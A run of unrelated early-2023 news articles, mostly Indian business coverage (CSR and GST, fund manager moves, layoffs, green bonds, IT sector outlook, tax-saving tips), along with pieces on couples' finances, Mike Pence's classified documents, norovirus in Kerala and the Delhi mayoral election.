The move to specify in the CGST Act that input tax credit will not be available to businesses on CSR is relevant for large companies like Reliance Industries, TCS, Tata Sons, HDFC Bank Ltd. and ONGC, the highest CSR spenders as per official data. In FY21, Reliance Industries spent 922 crores on CSR, followed by TCS with a spending of 674 crore and Tata Sons with 546 crores, while HDFC Bank Ltd. spent 534 crores and ONGC Ltd. spent 531 crores. India Inc. spent more than 25,700 crore on CSR in FY21.

Spending on corporate social responsibility by the industry has seen a sharp jump in recent years, up from over 14,300 crore spent in FY17. In January 2021, the government gave effect to a penalty provision for defaulting on CSR spending obligation and allowed businesses to spend more than their obligation which could be adjusted against their future spending requirement.

Companies with a net worth of 500 crore or more, or a turnover of 1,000 crore or more, or net profit of five crore or more, are required to spend 2% of their average net profit of the preceding three years on CSR activities. Companies have to spend the amount computed in this way on CSR whether or not they get tax credits. The advantage of getting input tax credit is that it could be used to pay off at least part of the GST liability on the companys sales.

Queries emailed to the spokesperson for the finance ministry and to the GST Council Secretariat on Friday seeking comments for the story remained unanswered at the time of publishing.
Anoop Bhaskar has decided to quit IDFC Mutual Fund, and will be replaced by Manish Gunwani as head-equity at IDFC Mutual Fund, according to people in the know.

IDFC Mutual Fund is yet to officially announced the development.

Bhaskar, 57, who is known for his tactical investments and also stock-picking ability in mid- and small-caps, will be quitting IDFC MF after overseeing the equities assets at the fund house for over seven years.

Bhaskar has spent 27 years in the mutual fund industry. Before joining IDFC MF, he was head of equity at UTI MF. Before that, he worked as a fund manager at Sundaram MF.

When Bhaskar joined IDFC MF in 2016, he was taking over from another star fund manager -- Kenneth Andrade. Today, IDFC MF manages 1.18 trillion worth of assets on an overall basis. It is the ninth biggest fund house in the country.

The fund house will soon be renamed as Bandhan MF after a consortium led by Bandhan Financial Holdings acquired the fund house for 4,500 crore, in what is the biggest deal in the 40 trillion mutual fund industry.

Manish Gunwani, who was chief investment officer-equity at Nippon India Mutual Fund, will be taking over from Bhaskar.
Asia's richest man, Gautam Adani, has "some addiction" to Open AI's ChatGPT that has caught the attention ever since it was launched in November last year. In a LinkedIn post, the billionaire said the release of ChatGPT was a transformational moment in the democratization of AI given its astounding capabilities as well as comical failures."

Adani also admitted to some addiction" to ChatGPT since he has started using the AI chatbot.

But there can be no doubt that generative AI will have massive ramifications," the 60-year-old tycoon penned from his visit to Davos to attend the World Economic Forum meeting.

Adani, however, added that generative AI holds the same potential and danger" as silicon chips.

He further highlighted that nearly five decades ago, the pioneering of chip design and large-scale chip production put the US ahead of rest of the world and led to the rise of many partner countries and tech behemoths like Intel, Qualcomm, TSMC, etc.

It also paved the way for precision and guided weapons used in modern warfare with more chips mounted than ever before," he noted.

The Indian tycoon further went on to say that Chinese researchers in 2021 published twice as many academic papers on AI as their American counterparts. "This is a race that will quickly get as complex and as entangled as the ongoing silicon chip war," the Adani Group boss stated.

Microsoft invests billions in ChatGPT-maker OpenAI

Microsoft on Monday announced investing $10 billion in the artificial intelligence startup OpenAI, maker of ChatGPT and other tools that can write readable text and generate new images.

The partnership positions Microsoft to sharpen its competition with Google in commercializing new AI breakthroughs that could transform numerous professions, as well as the internet search business.

ChatGPT is an AI-powered chatbot prototype, which is developed by OpenAI. Users can ask questions and the bot will respond with relevant, natural-sounding answers and topics.

Just as Microsoft's chief executive and other Silicon Valley CEOs touted artificial intelligence such as ChatGPT to transform their businesses, they announced layoffs of tens of thousands of employees globally. Scrutiny of once high-flying cloud spending by businesses was at the forefront.
Mumbai: Standard Chartered Bank on Tuesday announced the appointment of Sarabjit Anand as the chief technology and operations officer, and SV Shivshanker as the head of human resources for India and South Asia.

Anand, the bank said in a statement, joined Standard Chartered Bank in 1991 in India, later moving to Hong Kong and was most recently the chief information officer for Singapore and Asean markets.

He has been working in Singapore since 2015 and was instrumental in strategizing and advocating the overall digital journey of the bank in Singapore and Asean cluster," it said.

The statement said that Shivshanker, who has been with the bank since 1994, brings over 28 years of human resources experience in various leadership roles at a country, region and global level covering business partnering, talent and learning.

He has built a strong business acumen over the years and worked in cross-cultural environments within India, Middle East, and Singapore. In his most recent role, he was the global head of HR operations and global people services at Standard Chartered Global Business Services," it said.

Zarin Daruwala, cluster chief executive, India and South Asia market at Standard Chartered Bank, said Anand and Shivshanker are two strong additions to the banks leadership team, and their presence will provide an impetus to the banks growth strategy.
Healthtech startup Innovaccer Inc on Tuesday said it has laid off 245 employees or about 15% of its workforce as part of a corporate realignment process.

We are taking the much-needed step of doubling down on our core capabilities and streamlining our organizational focus. As a result, we are going to deprioritize certain areas and offerings that distract us from our core portfolio, which will result in a reduction of workforce by approximately 15%," the companys co-founder and chief executive Abhinav Shashank said.

News portal Inc42 first reported on the development.

However, it could not be ascertained from which departments/verticals the employees were fired. According to a spokesperson, the layoffs were undertaken across the company.

The Tiger Global-backed healthtech company will offer severance package to its laid off staff, the spokesperson confirmed.

Our priority is to fully support the impacted employees, including by offering a generous package, transitional health insurance benefits, and job placement support," an Innovaccer spokesperson said.

VCCircle reported in September last year that Innovaccer would sack nearly 100 employees from its technology and operations team as the company was going through financial troubles.

Founded in 2014 by Abhinav Shashank, Kanav Hasija and Sandeep Gupta, Innovaccer provides a software-as-a-solution (SaaS) platform that helps its clients connect healthcare data across multiple systems and settings.

San Francisco and Noida-based Innovaccer had last raised $150 million in its Series E funding round led by Mubadala Capital in December. The round more than doubled the companys valuation to $3.2 billion.

Innovaccer is among the many new-age tech companies that are showing doors to their employees to cut costs at a time when raising fresh capital has become more difficult than ever.

Last year, nearly 19,000 startup employees had lost their jobs. The layoffs mayhem has continued in 2023, with startups across multiple verticals have given pink slips to more than 2000 employees in the first few weeks of January.

B2B consumer engagement platform Exotel also let go of about 80 employees across departments citing poor performance and business restructuring. However, the company maintained it did not undergo layoffs.

Last week, VCCircle reported that Behrouz Biryani-parent Rebel Foods has laid off about 2% of its workforce on account of annual performance evaluation, and realigning the organization" to its priorities for future goals.

Lightspeed-backed Hubilo Technologies Inc, Exotel, ShareChat parent Mohalla Tech Pvt Ltd, quick commerce platform Dunzo, Lead School, UpGrad-owned Harappa Education, cloud kitchen startup Rebel Foods, mobility startup Ola, e-2wheeler maker Bounce, voice automation startup Skit.ai, industrial goods marketplace Moglix, and UpScalio, a Thrasio-style venture, were the latest to lay off their employees this year.
Disney+ Hotstar will stream the new season of its television series The Mandalorian in Hindi and English, on 1 March. The show, based on the Star Wars franchise, stars Pedro Pascal in the lead role.

Viewership of international content on over-the-top (OTT) video streaming platforms in India has nearly doubled in 2022 as audiences took to original and dubbed versions of English, Turkish, Spanish and Korean shows and films.

Viewers have become increasingly language agnostic owing to dubbing and subtitling of international shows popular for high-quality storytelling and production, said streaming services firms. Many services also used social media influencers and Bollywood stars to market these shows in India over the past year.

According to media consulting firm Ormax, the most viewed international series this year include House of the Dragon (28.2 million) and Moon Knight (23.4 million) beating last years record of 19.3 million by Hawkeye. All three shows are on Disney+Hotstar.

Of the international series promoted in India, the top three are from established franchises and superhero genres. The most-viewed international web-series launched last year were Disney+Hotstars House of the Dragon (28.2 million) and Moon Knight (23.4 million), and The Lord Of The Rings: The Rings of Power (22 million) on Amazon Prime Video. In 2021, the highest viewership came for Hawkeye, also on Hotstar, with a viewership of 19.3 million.

From international content, English language content dominates viewership, with 65% of SVoD (subscription-led video-on-demand) audiences watching it, with or without language support, followed by Korean language content, being viewed by 30% of the SVoD audience base. The SVoD audience in India is today watching an average of 4.6 languages versus the AVoD audience which doesnt get enough dubbed content and is restricted to an average of 2.3 languages of consumption.

The mushrooming of platforms offering international programming and audiences subscribing to multiple services has increased their exposure to high quality compelling storytelling.
Indias first sovereign green bond will go to auction on Wednesday and the Indian government expects to issue its first green bonds at a 'greenium,' with yields below prevailing market rates, and has identified 400 billion rupees ($4.92 billion) in projects that can be funded with the proceeds, as per a Reuters report.

The government plans to raise 160 billion rupees through green bonds for the current fiscal ending March 31, with the first tranche of 80 billion rupees scheduled for auction on Wednesday. On Monday, the Reserve Bank of India (RBI) said there would be no FPI restrictions on these securities. The RBI will auction 40 billion rupees each of five-year and 10-year green bonds. The government's five-year 7.38% 2027 bond yield and benchmark 10-year bond yield were at 7.16% and 7.35%, respectively.

The proceeds would be used for 'green' projects such as solar power, wind and small hydro projects and other public sector projects that help reduce the economy's carbon footprint.

This offering will be sold in 5-year and 10-year tenors via a uniform price auction on Jan. 25; a second, similar offering is set for Feb. 9. Its proceeds will be used for unspecified projects that align with Indias green bond framework.

The country does not have any domestic green-dedicated debt funds. There is no ready mandate for domestic entities to buy green bonds and there is a need to create awareness about it," Naveen Singh, head of trading at ICICI Securities Primary Dealership Ltd told Bloomberg.

Indian companies typically issue green bonds on the offshore market, where demand has been robust. A recent $1 billion issue by the Export-Import Bank of India was oversubscribed by more than 100%.

The central government had announced the plan to issue sovereign green bonds in the budget of fiscal year 2023 as India attempts to tap the domestic debt market to finance green infrastructure projects.
New Delhi: Following are among the 10 stocks that could be in focus in trade on Tuesday:

Axis Bank: The private sector lender has reported a 56% year-on-year increase in its December quarter consolidated net profit to 6,187.38 crore, helped by a healthy core income growth aided by widening margins. Core net interest income was up 32% at 11,459 crore.

Maruti Suzuki: India's largest carmaker will detail its fiscal third quarter results (Q3FY23) today. Analysts largely expect Maruti Suzuki to report strong year-on-year growth led by higher sales, better product mix, and higher realisations. Separately, the company on Monday said it was recalling 11,177 Grand Vitara vehicles to address a possible defect in rear seat belt mounting brackets, its second recall within a week.

Zomato: The food tech platform has disabled the option to place orders on its app via a 10-minute service, called Zomato Instant, since the beginning of this year as it struggled to find ways of growing the service. The offering was piloted in Delhi-NCR and Bengaluru last year. The company has said it is working on a new menu and rebranding the business.

Tata Motors: Has said that the voluntary delisting of its American Depositary Shares, representing ordinary shares, from the New York Stock Exchange will become effective close of trading on 23 January 2023. There will be no over-the-counter market trading of the American Depositary Shares (ADSs) in the US due to regulatory restrictions under the Indian law, Tata Motors said in a regulatory filing.

Max Financial Services: PE funds Bain Capital and CVC Capital Partners are among those assessing buying promoter stake in Max Financial Services, the Economic Times has reported. Max Financial, the country's largest non-bank private life insurance company, is the parent of Max Life Insurance in which Axis Bank is a co-promoter with a 12.99% stake. Mitsubishi Sumitomo Insurance owns 21.86% stake in Max Financial Services.

Jaypee Infratech: Banks have completed the transfer of 9,234 crore of Jaypee Infratech loan to the National Asset Reconstruction Company (NARCL), marking the first acquisition for the government-backed bad-loan aggregator a year after the company started operations.

Nykaa: FSN E-Commerce Ventures, the operator of beauty retailer Nykaa, said its board members have appointed P Ganesh as chief financial officer and key managerial personnel of the company effective 3 February 2023.

Coal India: The coal major's subsidiary Mahanadi Coalfields is in the process of diversifying into power generation and will set up a coal-based plant entailing an investment of around 12,000 crore in Odisha.

Gland Pharma: The pharma company has reported a 15% year-on-year decline in its profit at 232 crore for the December quarter with lower topline as well as weak operating performance. Revenue from operations for the quarter fell 12% on year to 938 crore.

Dilip Buildcon: The companys joint venture with Skyway Infraprojects has been declared the lowest bidder for a 1,947 crore project floated by Madhya Pradesh Jal Nigam Maryadit, Bhopal. Also, its subsidiary Raipur-Visakhapatnam-CG-2 Highways Ltd. has received the appointed date letter from the National Highways Authority of India and had declared the appointed date as 9 January.
Vedanta's board will meet this week on Friday, January 27, 2023 to consider and approve the fourth interim dividend on equity shares, if any, for the Financial Year 2022-23, along with announcing its results for the third quarter ended December 2022 of the current fiscal (Q3 FY23). The company has already fixed the record date for the said dividend, if declared, as Saturday, February 4, 2023.

Notice is hereby given that the Board of Directors of the Company (the Board) on Friday, January 27, 2023, will consider and approve Fourth Interim Dividend on equity shares, if any, for the Financial Year 2022-23. Please note that the record date for the purpose of determining the entitlement of the equity shareholders for the said dividend, if declared, is being fixed as Saturday, February 4, 2023," the company informed in an exchange filing on Monday.

Further, pursuant to the provisions of Securities & Exchange Board of India (Prohibition of Insider Trading) Regulations, 2015 and Insider Trading Prohibition Code of the Company, the Trading Window shall continue to remain closed for dealing in securities of the Company for all Designated Persons till Sunday, January 29, 2023, it added.

Billionaire Anil Agarwal-led Vedanta Limited is engaged in mining and metals segment, involved in zinc-lead-silver, Iron ore, Steel, Copper, Aluminium, Power, Oil and Gas across India, South Africa and Namibia. The stock is up about 5% in a year.

Vedanta is known for returning cash to its shareholders through dividends that can be every quarter, year-end and occasional special dividend. Its first interim dividend of 31.5 per equity share for FY23 to shareholders was paid in May last year. It paid the second interim dividend of 19.5 per share in July 2022, and third of 17.50 per share in November 2022.

Vedanta has declared an equity dividend amounting to 81.5 per share in the last 12 months, which at the current share price results in a dividend yield of 24.76%.
At first glance, it appears that the IT sector is at a critical juncture.

The outlook for the sector is hazy amid strong concerns over a recession in the US and Europe. Analysts and investors are finding it difficult to foresee a clear trend for the near future. However, some believe most negatives for the sector are already factored in.

A strong wave of pessimism has engulfed the sector. Some tech companies are laying off people in thousands and have frozen new hiring.

As per media reports, net hiring in India's top software exporters declined to the lowest level in 11 quarters in the December 2022 quarter.

"Indias top four software exporters  Tata Consultancy Services, Infosys, HCL Tech and Wipro  together recorded a net addition of 1,940 employees in the quarter ended December 2022, the lowest in 11 quarters, as demand for technology services slows amid global macroeconomic uncertainty and geopolitical concerns," an Economic Times report said.

IT majors, such as TCS, Infosys and HCL Tech witnessed a fall in attrition rate during the December quarter. As per industry observers, the IT sector attrition has softened from peak levels of 25-30 percent in the previous year to about 20 percent in Q3FY23.

The worst yet to come?

The sector, which witnessed strong tailwinds during the times of the Covid-19 pandemic, seems to have hit rough weather.

The December quarter scorecard of top domestic IT firms such as TCS, Infosys, Wipro and HCL Tech came broadly on expected lines, however, the management sounded cautious about the coming few quarters.

TCS management talked of "slow" decision-making in Europe and said it is "fairly constructive" when it comes to markets like the US, although it is keeping a close watch on how things play out over the next couple of quarters.

Infosys raised its annual sales forecast on a strong deal pipeline, but in the same breath, it warned of "constraints" in specific verticals amid the slowing global economy.

Anmol Das, Head of Research, Teji Mandi, is of the view that the next couple of quarters will remain tough for the IT sector due to the expected slowdown in their dominant clients' segments, such as the BFSI.

"High-tech companies on cost-cutting drives. Although deal wins have been consistent for TCS and HCL Tech, and at an all-time high for Infosys, we believe that a few larger and mega deal wins in the coming quarters will help these stocks to pick up the pace," said Das.

Some analysts and brokerage firms believe most negatives for the sector are on the table and after the first quarter of the next financial year, things will start changing for the IT sector.

Kotak Institutional Equities does not think the situation is as bad as it appears for the IT sector. It pointed out that the sectors' Q3FY23 results were slightly better than feared.

Kotak highlighted that revenues of tier-1 IT companies came in above expectations in Q3FY23, with the exception of Wipro. It was aided largely by an increase in pass-through revenues.

"Revenue growth has slowed down to low-teens across companies and should move down further in the subsequent quarters. However, the deterioration is consistent with our estimate. The medium-term revenue growth picture remains unchanged," said Kotak.

"Guidance for Q4FY23E was muted among tier-1 IT with the exception of HCL Tech, which guided for 1.5-3 percent growth. However, the guidance was much better than the feared revenue decline across companies," it added.

The brokerage firm underscored that the IT stocks are at an interesting juncturemoderate upside if it is just a slowdown in developed economies, moderate downside in case of a recession. Kotak said a recession view for the developed markets, which was a consensus a few months ago, still holds but with reduced intensity.

Kotak expects a double-digit EPS (earnings per share) increase for the Indian IT industry in rupee terms in FY24E, aided by 7 percent revenue growth, margin expansion and rupee depreciation.

Kotak believes lower industry growth due to a deeper recession can be offset by higher rupee depreciation and margin expansion, leading to largely unchanged EPS estimates.

The road ahead for the sector

There are strong headwinds for the sector in the short term. In simple words, the IT sector does not look suitable for short-term traders at this juncture.

However, the long-term drivers are still there and that is the reason many analysts and brokerage firms still show faith in the sector.

"Deal bookings have been steady in Q3 which provides near-term growth visibility. The elements of macro volatility result in growth for the IT sector moderating to pre-Covid even as the long-term drivers are unchanged. While the revenue trajectory for the sector will moderate from 13.5 percent growth in FY23 to 8.5 percent in FY24E, the profit growth trajectory in FY24E will improve as supply side crunch eases," said Apurva Prasad, Institutional Research Analyst - IT, HDFC Securities.

Das of Teji Mandi believes most negatives for the sector are priced in but one has to be selective about the sector in the next one-two years.

"One has to be very selective among the bunch as in the next one-two years, we dont expect any sectoral tailwind driving valuations up for all IT services players," said Das.

What should investors do?

Investors can pick quality stocks from the IT sector for a long-term horizon. Analysts and brokerage firms expect the sector to come into focus once the dust about a recession in the key markets settles.

Brokerage firm Kotak prefers stocks that offer good growth potential and can participate in both discretionary spending as well as cost take-out initiatives of clients and are available at reasonable valuations.

"Infosys and HCL Tech fit the bill among tier-1 IT. The correction in quality mid-tier stocks can make them attractive. Mphasis is our preferred pick among mid-tier names," said Kotak.

Das does not see much downside for the larger IT stocks in the next couple of quarters, so he recommends holding IT stocks at the current levels.

However, Das added that with growth prospects in mind, one should be selective among the IT pack as sector leaders will be charging ahead of others before the scenario improves.

Abhishek Jain, Head of Research, Arihant Capital, is positive on the largecap IT stocks.

"Among the IT sector, largecap stocks are better suited for the environment and they have a certain pricing power. We continue to remain positive on largecap stocks, on the back of stronger order books, and built-up bench strength. On the deal-win side, they will be much more stronger than midcap and smallcap companies," said Jain.

"We are positive on Wipro, and Coforge among the larger IT players. Post results, one can definitely have a look at Tech Mahindra among the large caps on 5G adoption. In the midcap and smallcap space, one can look at Accelya Solutions India and Axiscades Technologies on weakness (not at current levels). Allied Digital Services also looks interesting," Jain said.

Disclaimer: The views and recommendations given in this article are those of individual analysts and broking firms. These do not represent the views of MintGenie.
Taxpayers, especially those who are salaried, must appropriately implement their income tax planning since the start of the new fiscal year in 2023 is only one quarter away. Working professionals should seek suitable tax-saving investments in order to lessen their income tax burden because tax rates might vary depending on the kind of taxpayer and the type of income or profits made from sources. Without a doubt, the most popular tax-saving options are provided by Section 80C of the Income Tax Act, which enables you to claim a tax deduction of up to 1.5 lakh in a financial year, but working professionals seeking deductions over and above the limit prescribed in section 80C there are other popular deductions available under Section 80TTA, Section 80E, Section 80D, Section 24 (b), Section 10(13A), Section 80DDB and Section TTB. We thus addressed how salaried individuals may save the maximum income tax and how they can prevent conflicts that may develop during tax preparation for the new financial year 2023 based on an exclusive conversation with Dr. Suresh Surana, Founder, RSM India .

Common tax saving mistakes to avoid in 2023

(i) Not selecting the correct tax regime

The taxpayer needs to evaluate the beneficial tax regime i.e. old tax regime vs the new concessional tax regime by way of computing their tax liability in both such regimes. Since the new tax regime provides a concessional tax rate subject to non-availability of the certain specified deductions and exemptions, the taxpayer needs to factor the same while doing his tax planning for the year.

(ii) Do not delay tax investments till the last date

Taxpayers should not delay their investments till the last date as the taxpayer may lose out on the tax benefit in case the investment does not go through due to technical glitches. For instance, in case of an investment in ELSS made by the taxpayer on 31st March 2023, the units of such ELSS may be allotted after 31st March 2023 and accordingly, the taxpayer may lose out on availing the 80C tax deduction benefit with regards to the same. Further, making one-time investment may cause an unnecessary burden on the finances for the taxpayers. Hence, such investments need to be spread out throughout the year.

(iii) Not evaluating the tax saving investment options

The taxpayers need to evaluate all the eligible tax investment options before making the investments. Every taxpayer needs to analyse the purpose of such investment, the returns that would be generated on such investment, etc. The taxpayers should evaluate all the available tax saving options and choose the right investment options as per their investment criteria for diversification. It is pertinent to note that taxpayers need to avoid allocating their investments in one investment mode. Further, the taxpayer needs to take into account the available tax saving options such as HRA exemption, claiming deduction w.r.t. savings interest, etc. before making any tax saving investments.

(iv) Not retaining the proof of investment

Every taxpayer should retain the proof of investments as documentary evidence for claiming the necessary tax deduction or exemption. The tax return filer may require the taxpayer to provide them with the investment receipts/ proof for claiming such deductions/ exemptions. Further, the revenue authorities may also require certain taxpayers to furnish their investment proofs in order to substantiate their claims. Hence, every taxpayer should retain their investment proofs even after furnishing their tax returns for atleast 6-8 years.

(v) Not undertaking financial planning

Every taxpayer should undertake financial planning at the beginning of the financial year and accordingly plan for tax investments. Financial planning is necessary so as to ensure that the taxpayer does not undertake more financial burden of investments than actually required. Thus, every taxpayer should analyse and take into account any financial emergency such as a medical emergency or major financial events such as marriage, etc., risk appetite, financial objective/ purpose, etc. and accordingly decide upon their tax investment component.

Top tax saving investments for working professionals for FY23

Commenting on the question of how salaried individuals can save maximum income tax for FY23, Dr. Suresh Surana has listed out the top 5 tax saving investments for 2023.

Sr. no. Section Allowance Quantum of Exemption (i) 10(13A) - House Rent Allowance (HRA) Every salaried employee who is in receipt of HRA and who resides in a rental accommodation may avail the benefit of exemption under this section provided he/she does not own any residential accommodation occupied by him. Least of the following: (a) Actual HRA Received (b) 40% of Salary* (50%, if house situated in Mumbai, Calcutta, Delhi or Madras) (c) Rent paid in excess of 10% of salary* * Salary = Basic + DA (if part of retirement benefit) + Turnover based Commission (ii) 10(5) - Leave Travel Allowance (LTA) Every employee who is in receipt of LTA can claim deduction in connection with expenditure incurred (for self and family*) towards travelling in India * Family = spouse and children; parents, brothers and sisters who are wholly or mainly dependent on individual The exemption of LTA can be availed for two journeys performed in a block of 4 calendar years i.e. 2022-2025, as per the prescribed conditions. (iii) 80C Individuals and HUFs, subject to fulfilment of prescribed conditions, can avail deduction under this section on investing in certain instruments such as LIC premiums, ELSS Schemes, PPF contributions, Term Deposits, National Savings Certificates (NSC), etc. Apart from the said investments, expenditures such as tuition fees for fulltime education of children in India and principal repayment of housing loan can also be claimed under this section. Rs. 1,50,000 (iv) 80D Premium paid by an Individual in respect of medical insurance or contribution to Central Government Health Scheme / notified scheme for self, spouse, dependent children or parents Rs. 25,000 / Rs. 50,000* *The higher limit of Rs. 50,000 would be applicable where medical insurance is bought in respect of health of any person who is a senior citizen. Senior Citizens above the age of 60 years who are not covered by Health Insurance, to be allowed deduction of Rs. 50,000 towards actual medical expenditure. Further, deduction of 5,000 for any payments made towards preventive health check-ups shall be available within the aforementioned limits. (v) 80CCD(1) & 80CCD(1B) Contribution to National Pension Scheme Individuals are eligible to avail additional deduction under this section for contribution towards National Pension Scheme (NPS). Salaried employees may claim a deduction which is firstly restricted to 10% of the salary of such employee and further subjected to the threshold limit of Rs. 1,50,000. Further, as additional deduction of Rs. 50,000 is available over and above the threshold limit of Rs. 1,50,000 as aforementioned. Section 80CCD(1) - Rs. 1,50,000 [combined limit of Rs. 1.5 lakhs applicable u/s 80C, 80CCC  contribution to pension funds and Section 80CCD(1)] Section 80CCD(1B)  Rs. 50,000 (vi) Section 24(b) & Section 80C Repayment of Housing Loan Salaried emloyees may also claim interest on housing loan u/s 24(b). Such interest deduction is restricted to Rs. 30,000/ 2,00,000 based on specified conditions in case of Self occupied house property whereas the taxpayers may claim the entire interest in case of a let out/ deemed to be let out property. Further, the taxpayers may claim deduction of the principal component of the repayment u/s 80C of the IT Act. Section 24(b)  Interest component Self Occupied Property  Rs. 30,000/ Rs. 2,00,000 Let out/ Deemed to be let out property  Interest amount paid during the year Section 80C  Principal Component

ABOUT THE AUTHOR Vipul Das Vipul Das is a Digital Business Content Producer at Livemint. He previously worked for Goodreturns.in (OneIndia News) and has over 5 years of expertise in the finance and business sector. Stocks, mutual funds, personal finance, tax, and banking are among his specialties, and he is a professional in industry research and business reporting. He received his bachelor's degree from Dr. CV Raman University and also have completed Diploma in Journalism and Mass Communication (DJMC). Read more from this author
We tend to choose our partners based on shared values, in-common traits and other similarities, marriage researchers say. But money-management styles are one case in which opposites do attract, said Jenny Olson, an assistant professor of marketing at Indiana University who studies couples financial decision-making.

We are drawn to people who can check and balance our own rigid rules about money, Prof. Olson said. Someone who feels they are too focused on saving and not focused enough on using money to enjoy life might look for a partner who can help them feel more comfortable with an occasional splurge.

Over the decades, however, spouses often grow more alike. The spendthrifts married to the tightwads manage to find some middle ground, learning from one another in the process, said Scott Rick, a marketing professor at the University of Michigan whose studies marital finances.

The spouses who dont converge have a harder time and those marriages are probably more fragile and could end in divorce," Prof. Rick said, referencing his analysis of 1,303 couples, which will be published in a forthcoming book.

This mutual influence along with the built-in financial accountability couples get when they pool their assets are partly why married couples have a financial advantage over their single counterparts, researchers say. The median net worth of married couples 25 to 34 years old was nearly nine times as much as the median net worth of single households in 2019, up from four times as much in 2010, according to research from the Federal Reserve Bank of St. Louis.

When Kristen James, a 33-year-old product manager in Austin, Texas, first started dating her now-husband, Ben, a 35-year-old startup co-founder, she noticed they came to the relationship with different approaches to their finances. Mr. James considered himself much more of a financial risk-taker; Ms. James preferred to manage her money more conservatively.

Instead of their differences erupting in conflict, Ms. James said her husbands approach had a positive influence. After talking it over as a couple, Ms. James made the leap to change her career, moving into the technology industry and ultimately earning a higher salary as a result. Without her husbands encouragement, she said she wouldnt have felt secure making such a huge life change.

He said, Youre worth far more than what youre making, and he pushed me to take on more risk and challenge myself in different ways," she said.

Couples who communicate about the differences in their financial beliefs are better able to make decisions together, as tedious as that practice may initially feel, said Matt Lundquist, a psychotherapist and the clinical director of Tribeca Therapy, a psychotherapy practice based in New York.

He points to clients who take a regular weekend trip and have made it a habit to use the driving time to discuss their finances. While the children snooze in the back of the car, the parents review the state of their budgets and check in on progress toward longer-term goals.

Talking as a pair also prevents an imbalance of power in which one partner appoints themselves money manager, said Adrian Ward, a marketing professor at the University of Texas at Austin.

In his own research looking at how couples manage their money, Prof. Ward found that one partner often takes charge of the finances, not because theyre better equipped to do so, but because they have more time for the job. The in-house money managerwhom Prof. Ward calls the household CFO"often shuts the other partner out of the decision-making. Sometimes, the other person is relieved, but over time, that partners financial literacy suffers.

Even though its hard to make decisions together and were both busy, and it would be way easier for one of us to just do it, its the best long-term way to care for each other," he said.

Marcella Mollon-Williams, a behavioral financial adviser based in Bowie, Md., runs a premarital financial counseling session for couples.

The main issue she sees early on in relationships: Couples too often talk about the things one partner wants the other to avoid doing with their money, as opposed to the things they want to do together.

Talk about the desires money brings, the things you want to accomplish," she said. When you start dreaming together, identifying the things money can buy, itll become easier. Its sort of looking ahead and then working backwards."

To stay on the same page financially, Kristen and Ben James set a monthly family finance meeting. Talking about their goals, reviewing financial allocations and having time to connect on those topics helps them keep their sights trained on the bigger picture, Ms. James said.

When shes tempted to scroll through Redfin real-estate listings, she relies on her husband to hold her accountable.

We have each other to say Were not buying a new house right now or Were not buying a new car right nowyou have that other person to ground you," she said.
Former Vice President Mike Pence had a small number" of documents marked as classified at his Indiana home that were turned over to the FBI following a recent search, according to his attorneys letters to the National Archives.

Pence is the latest high-level official to find himself entangled with the Justice Department over the discovery of classified information  sensitive material that is supposed to be monitored and kept in secure storage  in his private possession.

There are two special counsels overseeing investigations into documents found at President Joe Bidens personal office and Delaware home and at former President Donald Trumps Mara-Lago estate.

Pences lawyer Greg Jacob told the National Archives about the document discovery in a Jan. 18 letter, saying that the materials were inadvertently boxed" and sent to Pences home after he left office in January 2021. The letters were provided to Bloomberg by a Pence spokesman.

Vice President Pence was unaware of the existence of sensitive or classified documents at his personal residence," Jacob wrote. Vice President Pence understands the high importance of protecting sensitive and classified information and stands ready and willing to cooperate fully with the National Archives and any appropriate inquiry."

Abundance of Caution

According to Jacob, Pence had brought in a lawyer to search his home on Jan. 16 out of an abundance of caution" following recent reports about the discovery of classified material at Bidens home in Delaware.

In a second letter to the National Archives dated Jan. 22, Jacob explained that on Jan. 19, the Justice Department asked to retrieve the documents, and that Pence  who was in Washington for the anti-abortion March for Life event  agreed.

FBI agents came to his home that evening to get the records, which were being kept in a safe. Jacob wrote that they also arranged for the National Archives to take the two boxes in which the classified information was found, as well as any other boxes containing courtesy copies" of vice presidential papers to all administration records were turned over.

CNN earlier reported the discover of documents at Pences home on Tuesday. A Pence spokesperson declined to comment further. A Justice Department spokesperson did not immediately return a request for comment.

Pence told the Associated Press in an interview last August that he didnt take any classified information when he left office to his knowledge. He also has been critical of what hes called a double standard" in how the Justice Department has handled the discovery of classified documents from Biden and Trump.

The Biden papers should be dealt with precisely the same way that President Trumps papers have been dealt with and examined with the same thoroughness and carefulness," Pence said in a Jan. 11 interview with CBS.

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Two students have been diagnosed with norovirus infection, a cause of acute gastroenteritis, in Kerala, the state government said on Monday. Students of Class 1 and 2 at a school near Kakkanad showed symptoms of the disease, of these, three children are now under treatment.

A senior medical officer informed that a total of 62 students and a few parents of the school exhibited symptoms following which two samples were sent for testing at the State Public Laboratory, according to the news agency PTI.

In an official statement, the District Medical Officer said, The health condition of the children is stable. The Health Department personnel inspected the school which is now temporarily closed. We are holding online awareness sessions to the children and parents. The classrooms and the toilets have now been sanitized."

Last year, two children were found infected with the norovirus infection at Vizhinjam in Thiruvananthapuram.

What is norovirus infections?

Norovirus is a viral illness which is most common cause of acute gastroenteritis globally. In simple words, it is a highly contagious virus that causes diarrhoea and vomiting. The norovirus can infect and sicken anyone, according to the World Health Organization (WHO).

Norovirus causes

Direct contact with an infected person, drinking contaminated food or water, or touching contaminated surfaces and then putting your unwashed hands in your mouth are all ways to contract norovirus.

Norovirus symptoms

Most common symptoms of norovirus infection are diarrhoea, vomiting, nausea, and stomach discomfort. Fever, headaches, and body aches are possible side effects.

Norovirus transmission prevention

Protect yourself and others from norovirus by washing your hands often, rinsing fruits and vegetables, cooking shellfish thoroughly, staying at home when sick and for two days after symptoms stop and avoid preparing food for others when sick and for two days after symptoms stop.

(With PTI inputs)
The civic body will meet again today i.e. on 24 January to elect the mayor and deputy mayor. This second round comes after the proceedings were disrupted on 6 January with a ruckus happened between the Aam Aadmi Party (AAP) and the Bharatiya Janata Party (BJP) members.

Today, the Lieutenant Governor-nominated members and 10 aldermen will take the oath of office today. Hoping that this time the house will go without any disruptions, Presiding Officer Satya Sharma said the nominated members and the aldermen will take the oath first as per the agenda. After the aldermen and the nominated members, other members will take the oath.

"As per the agenda, nominated members and alderman will take oath first. Then other members will take the oath. I don't think the AAP will create such an issue because it is their loss. I am hopeful we will be able to elect the Mayor tomorrow," she said.

The mayor and deputy mayor are to be elected in the very first house that convenes after a municipal poll, which could not happen on January 6 as the house was adjourned following a ruckus between the AAP and BJP members.

BJP councillor Satya Sharma, who was appointed as the presiding officer, said all preparations for the second house have been done.

Also Read: Delhi MCD: Who is Shelly Oberoi, AAP's mayoral candidate?

